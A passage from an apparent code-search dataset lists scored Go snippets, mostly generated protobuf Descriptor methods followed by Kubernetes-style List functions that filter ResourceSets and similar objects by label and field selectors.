[]int{1}\n}", "title": "" }, { "docid": "28131018360a2773c822f9bd9be4bc71", "score": "0.6303546", "text": "func (*WorkflowVersion) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_resources_proto_rawDescGZIP(), []int{119}\n}", "title": "" }, { "docid": "cdc72693676573da414ed63b5e1c9f56", "score": "0.62902564", "text": "func (*GetWorkflowTemplateRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{14}\n}", "title": "" }, { "docid": "5a93ed404d94afcfd75ab0867809844e", "score": "0.6240263", "text": "func (*WorkflowState) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_resources_proto_rawDescGZIP(), []int{123}\n}", "title": "" }, { "docid": "db87d29f60d4dc7627b6cdf8d09f972c", "score": "0.62119114", "text": "func (*Workflow) Descriptor() ([]byte, []int) {\n\treturn file_vtadmin_proto_rawDescGZIP(), []int{14}\n}", "title": "" }, { "docid": "01dcaa122f807981a6a8f892eca170bf", "score": "0.617333", "text": "func (*WorkflowProto) Descriptor() ([]byte, []int) {\n\treturn file_message_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "38f51504eb83e1eb4d25373db4dd7a3d", "score": "0.6146677", "text": "func (*GetTeamRequest) Descriptor() ([]byte, []int) {\n\treturn file_company_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "6848287dc2e4fe5d5933b2a85b39b145", "score": "0.61350375", "text": "func (*NonStandardWithJSONNamesUpdateRequest) Descriptor() ([]byte, []int) {\n\treturn file_examples_internal_proto_examplepb_non_standard_names_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "4ca360b270366df99eb5764b03ead981", "score": "0.6104683", "text": "func (*RaiseEventWorkflowRequest) Descriptor() ([]byte, []int) {\n\treturn file_dapr_proto_runtime_v1_dapr_proto_rawDescGZIP(), []int{84}\n}", "title": "" }, { "docid": "227c600c6b7b0db8f2f64cd67d994c7e", "score": "0.60917467", "text": "func (*ListWorkflowTemplatesResponse) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{19}\n}", "title": "" }, { "docid": "6dae6f24398b973b6df8c42c778a7ab5", "score": "0.6085706", "text": "func (*WorkflowNode) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_resources_proto_rawDescGZIP(), []int{120}\n}", "title": "" }, { "docid": "7ffb24ebe03352d2b9de9be6657ea168", "score": "0.60673255", "text": "func (*GetSlpTrustedValidationRequest) Descriptor() ([]byte, []int) {\n\treturn file_bchrpc_proto_rawDescGZIP(), []int{40}\n}", "title": "" }, { "docid": "2689fa13f79197d8a4b8b070c63330c1", "score": "0.6041717", "text": "func (*WorkflowMetadata) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "e337fe4cc50c230393d640beae8b9073", "score": "0.6040699", "text": "func (*WorkflowExecutionProto) Descriptor() ([]byte, []int) {\n\treturn file_message_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "51e28554ac3b1bf241f97164415826cc", "score": "0.60370797", "text": "func (*ResumeWorkflowRequest) Descriptor() ([]byte, []int) {\n\treturn file_dapr_proto_runtime_v1_dapr_proto_rawDescGZIP(), []int{83}\n}", "title": "" }, { "docid": "c65ce397ffcac9f2b26c6f1722d69085", "score": "0.6023079", "text": "func (*UpdateWorkflowTemplateRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{17}\n}", "title": "" }, { "docid": "4b13404695dd9eb1e75527f6ebb510b2", "score": "0.59996337", "text": "func (*NonStandardUpdateRequest) Descriptor() ([]byte, []int) {\n\treturn file_examples_internal_proto_examplepb_non_standard_names_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "d5fe816da2596f6c283a0048594b70e6", "score": "0.59873164", "text": "func (*StartWorkflowRequest) Descriptor() ([]byte, []int) {\n\treturn file_dapr_proto_runtime_v1_dapr_proto_rawDescGZIP(), []int{79}\n}", "title": "" }, { "docid": "52327c7489cd4e084d8f453686c23a1b", "score": "0.59739697", "text": "func (*GetWorkflowExecutionRawHistoryV2Request) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_admin_v1_service_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "e7a030412d4c1c69d8283d0fb7894c24", "score": "0.59679145", "text": "func (*GetWorkspaceByName) Descriptor() ([]byte, []int) {\n\treturn file_uac_Workspace_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "f18175e3eae3568c3719514de7227d13", "score": "0.59616697", "text": "func (*GetFlowRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dialogflow_cx_v3_flow_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "0af5cafcd6de4d86916e64941288f4d2", "score": "0.5959555", "text": "func (*GetFlowValidationResultRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dialogflow_cx_v3_flow_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "1cb78ac216d9042863b006aea4ab6245", "score": "0.5954515", "text": "func (*GetSlpTrustedValidationResponse) Descriptor() ([]byte, []int) {\n\treturn file_bchrpc_proto_rawDescGZIP(), []int{41}\n}", "title": "" }, { "docid": "7382ea39513182f2dabf98bc5527a4a7", "score": "0.5946049", "text": "func (*ListWorkflowTemplatesRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{18}\n}", "title": "" }, { "docid": "162fc7e21863fb901446d3a1b205b71f", "score": "0.59419143", "text": "func (*TerminateWorkflowRequest) Descriptor() ([]byte, []int) {\n\treturn file_dapr_proto_runtime_v1_dapr_proto_rawDescGZIP(), []int{81}\n}", "title": "" }, { "docid": "f428fd8b84fc36ddf38106ade9d58f3b", "score": "0.5932352", "text": "func (*WorkflowGraph) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "bd7c479e76427f829688a263ad3b0ae9", "score": "0.5912697", "text": "func (*GetTeamsRequest) Descriptor() ([]byte, []int) {\n\treturn file_sports_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "6ac2dffe55151b80b3fa73e1072000cc", "score": "0.5902452", "text": "func (*StartWorkflowResponse) Descriptor() ([]byte, []int) {\n\treturn file_dapr_proto_runtime_v1_dapr_proto_rawDescGZIP(), []int{80}\n}", "title": "" }, { "docid": "2be8ddbf13eb83fd94be6deaa430bc47", "score": "0.58917624", "text": "func (*CancelWorkflowInstanceRequest) Descriptor() ([]byte, []int) {\n\treturn file_pkg_ingress_cancel_instance_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "b15b59484d816b2bcdfa9d1f6c5753c5", "score": "0.5878601", "text": "func (*WorkflowMetaProto) Descriptor() ([]byte, []int) {\n\treturn file_message_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "eb2a736896ba15a513e03d8375cccffc", "score": "0.5877521", "text": "func (*NonStandardMessageWithJSONNames) Descriptor() ([]byte, []int) {\n\treturn file_examples_internal_proto_examplepb_non_standard_names_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "a76102180b956a7f191a7c0d25bae397", "score": "0.5874348", "text": "func (*CreateWorkflowTemplateRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "9f65ebb000eda2be41d8e5cd9c60e59e", "score": "0.58491915", "text": "func (*InstantiateWorkflowTemplateRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{15}\n}", "title": "" }, { "docid": "01800ba6605b8b43576d85681cf106ba", "score": "0.58460903", "text": "func (*ValidateFlowRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dialogflow_cx_v3_flow_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "01cb4f40969d52dfdc9cade953ad0162", "score": "0.58271396", "text": "func (*DeleteWorkflowTemplateRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{20}\n}", "title": "" }, { "docid": "f6ec4fa3a4442a81440aeb756cd99746", "score": "0.5822599", "text": "func (*GetNamesRequest) Descriptor() ([]byte, []int) {\n\treturn file_lua_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "c3bb9926a81a5140feea999e4296961a", "score": "0.58130705", "text": "func (*RestartServiceRequest) Descriptor() ([]byte, []int) {\n\treturn file_fleetspeak_src_common_proto_fleetspeak_system_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "fee7155ff9ea8635df2c9b794399d820", "score": "0.5813017", "text": "func (*UpdateFlowRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dialogflow_cx_v3_flow_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "fcf6b7829caeca6bed6e84056e2c3f97", "score": "0.5799873", "text": "func (*ClusterWorkflows) Descriptor() ([]byte, []int) {\n\treturn file_vtadmin_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "ebad127929828e83b18a7ec7d1070ffe", "score": "0.5791985", "text": "func (x *fastReflection_MsgCreateResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCreateResponse\n}", "title": "" }, { "docid": "3cd59228857068f3715b49dfaac4159c", "score": "0.57775706", "text": "func (*TrainFlowRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dialogflow_cx_v3_flow_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "81a341aac0bfe43eaa09ac603c377d90", "score": "0.57665396", "text": "func (*InstantiateInlineWorkflowTemplateRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{16}\n}", "title": "" }, { "docid": "13b431c0a0967f4b70d642ab40c93447", "score": "0.57633305", "text": "func (*FindEnabledNodeClusterFirewallActionResponse) Descriptor() ([]byte, []int) {\n\treturn file_service_node_cluster_firewall_action_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "892182edee34816c3128e5a8ced072ed", "score": "0.57606", "text": "func (*TeamCreateRequest) Descriptor() ([]byte, []int) {\n\treturn file_rpc_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "03a686a87ffbed102c6ae0f06f835ed7", "score": "0.57546496", "text": "func (*Lifecycle) Descriptor() ([]byte, []int) {\n\treturn file_google_apps_drive_labels_v2_common_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "b48752bd0aa080c007cd29d0eea36f8b", "score": "0.5747787", "text": "func (*GetNamesReq) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "08e478c555c96ed0b435b0faec5c1259", "score": "0.5746954", "text": "func (*CreateFlowRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dialogflow_cx_v3_flow_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "d2a97d571f51b8bd2107d87fa37471a2", "score": "0.5744426", "text": "func (*NodeClusterFirewallActionResponse) Descriptor() ([]byte, []int) {\n\treturn file_service_node_cluster_firewall_action_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "4e07ed838e9f03ce358140a414ea24b8", "score": "0.57387865", "text": "func (*WorkflowNode) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "a90e2e40d13d25989b100c9f69aeea80", "score": "0.5731182", "text": "func (*GetNamesResponse) Descriptor() ([]byte, []int) {\n\treturn file_lua_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "7a2a915370c53eb55ee40d8914169c08", "score": "0.57304955", "text": "func (*Find_CategoryByName_Request) Descriptor() ([]byte, []int) {\n\treturn file_proto_category_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "3323b55aefa2392f9b54404c7ece1e45", "score": "0.57292175", "text": "func (*PurgeWorkflowRequest) Descriptor() ([]byte, []int) {\n\treturn file_dapr_proto_runtime_v1_dapr_proto_rawDescGZIP(), []int{85}\n}", "title": "" }, { "docid": "453ec62a19b64307150840dabdb71a47", "score": "0.57276344", "text": "func (*NotifyJobseekerInterviewScheduleResponse) Descriptor() ([]byte, []int) {\n\treturn file_protos_service_jobseeker_notification_service_grpc_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "7a551bfa46455a0ed3211d0a4f98ec9a", "score": "0.5721616", "text": "func (x *fastReflection_TallyResult) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_TallyResult\n}", "title": "" }, { "docid": "445356683906f60bf1faacb1382142c9", "score": "0.57202256", "text": "func (*NotifyOnResyncResponse) Descriptor() ([]byte, []int) {\n\treturn file_github_com_solo_io_gloo_projects_gloo_api_grpc_validation_gloo_validation_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "db02ae336f603da0165176e56109df95", "score": "0.57200617", "text": "func (*GetSlpGraphSearchRequest) Descriptor() ([]byte, []int) {\n\treturn file_bchrpc_proto_rawDescGZIP(), []int{42}\n}", "title": "" }, { "docid": "b7f47ffed63093caa8c3d74d673b9e1a", "score": "0.57179034", "text": "func (x *fastReflection_QueryTallyResultRequest) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_QueryTallyResultRequest\n}", "title": "" }, { "docid": "e25744dd95151e6a6cc3d83149bcb1fd", "score": "0.5714092", "text": "func (*GetWorkflowExecutionRawHistoryV2Response) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_admin_v1_service_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "ffd96b989ee7711d557098708ef5a687", "score": "0.57130754", "text": "func (*ModerateTextRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_language_v1_language_service_proto_rawDescGZIP(), []int{21}\n}", "title": "" }, { "docid": "a21f28db7bdc8b40221bd7da7dd4546c", "score": "0.5711264", "text": "func (*GetNameResp) Descriptor() ([]byte, []int) {\n\treturn file_proto_user_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "93a4b83e777fda268f8a1ffaa7d2b2ba", "score": "0.5704983", "text": "func (*NonStandardMessageWithJSONNames_Thing) Descriptor() ([]byte, []int) {\n\treturn file_examples_internal_proto_examplepb_non_standard_names_proto_rawDescGZIP(), []int{2, 0}\n}", "title": "" }, { "docid": "13772f608f18c9aa11d986b829ab3987", "score": "0.57030237", "text": "func (*GetWorkspaceResponse) Descriptor() ([]byte, []int) {\n\treturn file_reqres_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "13772f608f18c9aa11d986b829ab3987", "score": "0.57030237", "text": "func (*GetWorkspaceResponse) Descriptor() ([]byte, []int) {\n\treturn file_reqres_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "6547aa7f69826b6dbe42be135e26aecb", "score": "0.5699016", "text": "func (*WatchWorkloadsRequest) Descriptor() ([]byte, []int) {\n\treturn file_rpc_connector_connector_proto_rawDescGZIP(), []int{14}\n}", "title": "" }, { "docid": "2904a0a1b515b163cdcffb9dfee535ff", "score": "0.56989104", "text": "func (*GetNamesRes) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "c95e79da86006b9b000cdb3a81822247", "score": "0.5697622", "text": "func (*GetWorkspaceRequest) Descriptor() ([]byte, []int) {\n\treturn file_reqres_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "c95e79da86006b9b000cdb3a81822247", "score": "0.5697622", "text": "func (*GetWorkspaceRequest) Descriptor() ([]byte, []int) {\n\treturn file_reqres_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "187dd554425987e5ce0ae13f05b471c7", "score": "0.5693847", "text": "func (*ParameterValidation) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "204fd2d770581c21fe847c5b61b6b3ab", "score": "0.56883997", "text": "func (WorkflowMetadata_State) EnumDescriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_workflow_templates_proto_rawDescGZIP(), []int{9, 0}\n}", "title": "" }, { "docid": "4b89a688fd2eed95055d388ee632627e", "score": "0.5685619", "text": "func (*ListMachineNameReq) Descriptor() ([]byte, []int) {\r\n\treturn file_adm_proto_rawDescGZIP(), []int{15}\r\n}", "title": "" }, { "docid": "1e2f3eca15a65adb565cfae4a304a51a", "score": "0.5683228", "text": "func (*NotifyOnResyncRequest) Descriptor() ([]byte, []int) {\n\treturn file_github_com_solo_io_gloo_projects_gloo_api_grpc_validation_gloo_validation_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "a65b87fb681225535133d9230ab730b1", "score": "0.568032", "text": "func (*TeamCreateResponse) Descriptor() ([]byte, []int) {\n\treturn file_rpc_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "42a6ddcc12759a773b2424a548cf423b", "score": "0.5679939", "text": "func (*RemoveKnowledgeV1Request) Descriptor() ([]byte, []int) {\n\treturn file_api_ocp_knowledge_api_ocp_knowledge_api_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "90fe99f416e83a51c45ffed95a0197d3", "score": "0.5672339", "text": "func (*DeprecateDomainRequest) Descriptor() ([]byte, []int) {\n\treturn file_uber_cadence_api_v1_service_domain_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "027e5812f8ecdd7b92a052fab310d161", "score": "0.5669092", "text": "func (*ModerateTextResponse) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_language_v1_language_service_proto_rawDescGZIP(), []int{22}\n}", "title": "" }, { "docid": "33642f68c76131580632bd6a43a467ff", "score": "0.56678486", "text": "func (*CreateWorkspaceResponse) Descriptor() ([]byte, []int) {\n\treturn file_reqres_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "33642f68c76131580632bd6a43a467ff", "score": "0.56678486", "text": "func (*CreateWorkspaceResponse) Descriptor() ([]byte, []int) {\n\treturn file_reqres_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "10a36c2c5ef9a976375e82c5c63f1e37", "score": "0.56659067", "text": "func (*GetSlpTokenMetadataRequest) Descriptor() ([]byte, []int) {\n\treturn file_bchrpc_proto_rawDescGZIP(), []int{36}\n}", "title": "" }, { "docid": "e89ffb399772b93c59b3b67d363255cd", "score": "0.56643724", "text": "func (*GetDeploymentSpecRequest) Descriptor() ([]byte, []int) {\n\treturn file_lscc_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "1ee3e7cafc580084484f0058bc465e4e", "score": "0.5659867", "text": "func (*GenerateNickNameRsp) Descriptor() ([]byte, []int) {\n\treturn file_Grpc_Def_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "2c85a83da75c91f955c0dab76486af25", "score": "0.56576085", "text": "func (*GetTeamsResponse) Descriptor() ([]byte, []int) {\n\treturn file_sports_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "288414bd460366cd96a9ad92f03d3a04", "score": "0.565707", "text": "func (*CreateTeamRequest) Descriptor() ([]byte, []int) {\n\treturn file_company_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "d6eb131af01d81caca32d905d843f7b7", "score": "0.565332", "text": "func (*GetNameReq) Descriptor() ([]byte, []int) {\n\treturn file_proto_user_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "d78ba7a7181e799ba6229e0a29b3722d", "score": "0.5645001", "text": "func (*RemoveTravelRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_ova_travel_api_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "22da11a8e56dc7e5281169b74ff791d7", "score": "0.5642008", "text": "func (*RemoveTeamManagersReq) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_team_RemoveTeamManagers_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "2a43457621a28920acaa686dc8f786d0", "score": "0.5636948", "text": "func (x *fastReflection_MsgTakeResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgTakeResponse\n}", "title": "" } ]
cdb4086b9df9e0a7e7a12c93e247170d
List takes label and field selectors, and returns the list of ResourceSets that match those selectors.
[ { "docid": "80456f64ce867298cb93e37a770b8662", "score": "0.6923129", "text": "func (c *resourceSets) List(ctx context.Context, opts v1.ListOptions) (result *v1alpha1.ResourceSetList, err error) {\n\tvar timeout time.Duration\n\tif opts.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*opts.TimeoutSeconds) * time.Second\n\t}\n\tresult = &v1alpha1.ResourceSetList{}\n\terr = c.client.Get().\n\t\tResource(\"resourcesets\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tDo(ctx).\n\t\tInto(result)\n\treturn\n}", "title": "" } ]
[ { "docid": "3e35d993f145eeefb27ef3a23b5f7b06", "score": "0.64658946", "text": "func (c *FakeWafregionalSQLInjectionMatchSets) List(opts v1.ListOptions) (result *v1alpha1.WafregionalSQLInjectionMatchSetList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(wafregionalsqlinjectionmatchsetsResource, wafregionalsqlinjectionmatchsetsKind, c.ns, opts), &v1alpha1.WafregionalSQLInjectionMatchSetList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1alpha1.WafregionalSQLInjectionMatchSetList{ListMeta: obj.(*v1alpha1.WafregionalSQLInjectionMatchSetList).ListMeta}\n\tfor _, item := range obj.(*v1alpha1.WafregionalSQLInjectionMatchSetList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "3f59dfb3a49e9bbcce304d65cc56458b", "score": "0.60639256", "text": "func (c *FakeWafregionalXssMatchSets) List(opts v1.ListOptions) (result *v1alpha1.WafregionalXssMatchSetList, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewListAction(wafregionalxssmatchsetsResource, wafregionalxssmatchsetsKind, c.ns, opts), &v1alpha1.WafregionalXssMatchSetList{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\n\tlabel, _, _ := testing.ExtractFromListOptions(opts)\n\tif label == nil {\n\t\tlabel = labels.Everything()\n\t}\n\tlist := &v1alpha1.WafregionalXssMatchSetList{ListMeta: obj.(*v1alpha1.WafregionalXssMatchSetList).ListMeta}\n\tfor _, item := range obj.(*v1alpha1.WafregionalXssMatchSetList).Items {\n\t\tif label.Matches(labels.Set(item.Labels)) {\n\t\t\tlist.Items = append(list.Items, item)\n\t\t}\n\t}\n\treturn list, err\n}", "title": "" }, { "docid": "219fc0687aaac522bb03b1b73a9a5092", "score": "0.59782654", "text": "func (rrsets ResourceRecordSets) List() ([]dnsprovider.ResourceRecordSet, error) {\n\tvar list []dnsprovider.ResourceRecordSet\n\trecord := new(godynect.Record)\n\trecord.Zone = rrsets.zone.Name()\n\trecord.FQDN = record.Zone\n\trecordList, err := rrsets.zone.zones.intf.dynDNSAPI.GetAllRecordList(record)\n\tif err != nil {\n\t\treturn list, fmt.Errorf(\"Failed to list records %v\", err)\n\t}\n\tfor _, rec := range recordList {\n\t\trrs := &ResourceRecordSet{impl: rec, rrsets: &rrsets}\n\t\tlist = append(list, rrs)\n\t}\n\treturn list, nil\n}", "title": "" }, { "docid": "40b9c3d48279bbd24776ca1e96272c94", "score": "0.5954244", "text": "func (rrsets ResourceRecordSets) List() ([]dnsprovider.ResourceRecordSet, error) {\n\n\tsvc := rrsets.zone.zones.impl.service\n\n\trsets, err := svc.ListResourceRecordSetsByZone(rrsets.zone.Name())\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlist := make([]dnsprovider.ResourceRecordSet, len(*rsets))\n\n\tfor i := range *rsets {\n\t\t// value is pointer to []RecordSet\n\t\tr := *rsets\n\t\trs := r[i]\n\t\tif &rs != nil {\n\t\t\tglog.V(4).Infof(\"recordset data Name %s Type %s ID %s\\n\", *rs.Name, *rs.Type, *rs.ID)\n\t\t\tlist[i] = &ResourceRecordSet{&(r[i]), &rrsets}\n\t\t} else {\n\t\t\tglog.Fatalf(\"Recordset was nil\\n\")\n\t\t}\n\t}\n\n\treturn list, err\n}", "title": "" }, { "docid": "a1d7a04271b8481e65988afae46ef6ab", "score": "0.5933138", "text": "func (endpoint *Endpoint) ListSets(ctx context.Context, fields string, filter string, min, max int) (*ListSetsPaginatedResponse, error) {\n\t// Options\n\toptions := []Option{}\n\tif fields != \"\" {\n\t\toptions = append(options, WithParam(\"fields\", fields))\n\t}\n\tif filter != \"\" {\n\t\toptions = append(options, WithParam(\"filter\", filter))\n\t}\n\toptions = append(options, WithHeader(\"Range\", fmt.Sprintf(\"items=%d-%d\", min, max)))\n\n\t// Do the request\n\tresp, err := endpoint.client.do(ctx, http.MethodGet, \"/reference_data/sets\", options...)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while calling the endpoint: %s\", err)\n\t}\n\n\tif resp.StatusCode != 200 {\n\t\treturn nil, fmt.Errorf(\"error with the status code: %d\", resp.StatusCode)\n\t}\n\n\t// Process the Content-Range\n\tmin, max, total, err := parseContentRange(resp.Header.Get(\"Content-Range\"))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while parsing the content-range: %s\", err)\n\t}\n\n\t// Prepare the response\n\tresponse := &ListSetsPaginatedResponse{\n\t\tTotal: total,\n\t\tMin: min,\n\t\tMax: max,\n\t}\n\n\t// Decode the response\n\terr = json.NewDecoder(resp.Body).Decode(&response.ListSets)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while decoding the response: %s\", err)\n\t}\n\n\treturn response, nil\n}", "title": "" }, { "docid": "b7c832ed47b5996af9ec6d2e5ce4a854", "score": "0.5906934", "text": "func (s *CardSetsService) List() ([]CardSet, *http.Response, error) {\n\tu := defaultBaseURL + \"cardsets.php\"\n\treq, err := s.client.NewRequest(http.MethodGet, u, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tcardSets := new([]CardSet)\n\tresp, err := s.client.Do(req, cardSets)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn *cardSets, resp, err\n}", "title": "" }, { "docid": "416ca562a2298e45473d2976bc96a1b2", "score": "0.5818582", "text": "func (c *Client) recordSetsList(zoneID string, filter ListFilter) (*RecordSetsResponse, error) {\n\trecordSets := &RecordSetsResponse{}\n\terr := resourceRequest(c, recordSetsListEP(c, zoneID, filter), \"GET\", nil, recordSets)\n\tif err != nil {\n\t\treturn recordSets, err\n\t}\n\n\treturn recordSets, nil\n}", "title": "" }, { "docid": "088f5177e4616be89552cc8f41c5d130", "score": "0.58178145", "text": "func (r *Reconciler) getCRDsWith(labelSelector string) ([]*v1beta1.CustomResourceDefinition, error) {\n\tls, err := labels.Parse(labelSelector)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlist, err := r.CRDLister.List(ls)\n\tif err != nil {\n\t\tklog.Errorf(\"failed to list customresourcedefinitions, %v\", err)\n\t\treturn nil, err\n\t}\n\n\treturn list, nil\n}", "title": "" }, { "docid": "76f0200a4cd48910687cb58fe417f14b", "score": "0.57016665", "text": "func (s *statefulSetLister) List(selector labels.Selector) (ret []*appsv1.StatefulSet, err error) {\n\tlistopt := metav1.ListOptions{\n\t\tLabelSelector: selector.String(),\n\t}\n\tif s.tweakListOptions != nil {\n\t\ts.tweakListOptions(&listopt)\n\t}\n\tlist, err := s.client.AppsV1().StatefulSets(metav1.NamespaceAll).List(listopt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor i := range list.Items {\n\t\tret = append(ret, &list.Items[i])\n\t}\n\treturn ret, nil\n}", "title": "" }, { "docid": "1c35d7c45ca49fd4a26a1893b938101f", "score": "0.56832033", "text": "func (rs *RulesetService) List() ([]*Ruleset, error) {\r\n\tvar ret []*Ruleset\r\n\r\n\t// Retrieve the list of raw JSON objects\r\n\trawlist, err := rs.client.ListObjects(rulesetEndpoint, \"rulesets\", nil)\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\r\n\t// Unmarshal each JSON object returned and append to results\r\n\tfor _, raw := range rawlist {\r\n\t\tobj := new(Ruleset)\r\n\r\n\t\tif err := json.Unmarshal(*raw, &obj); err != nil {\r\n\t\t\treturn nil, err\r\n\t\t}\r\n\r\n\t\tret = append(ret, obj)\r\n\t}\r\n\r\n\treturn ret, nil\r\n}", "title": "" }, { "docid": "1cb57045218a5671336f53a2380786d4", "score": "0.56784767", "text": "func List(setname string) (*Sets, error) {\n\treturn pkgHandle.List(setname)\n}", "title": "" }, { "docid": "2049b7f888d88e137b38426b68dc8ac2", "score": "0.56675017", "text": "func (client *Client) ListPriceSets(req *Request) (*Response, error) {\n\treturn client.Execute(&Request{\n\t\tMethod: \"GET\",\n\t\tPath: 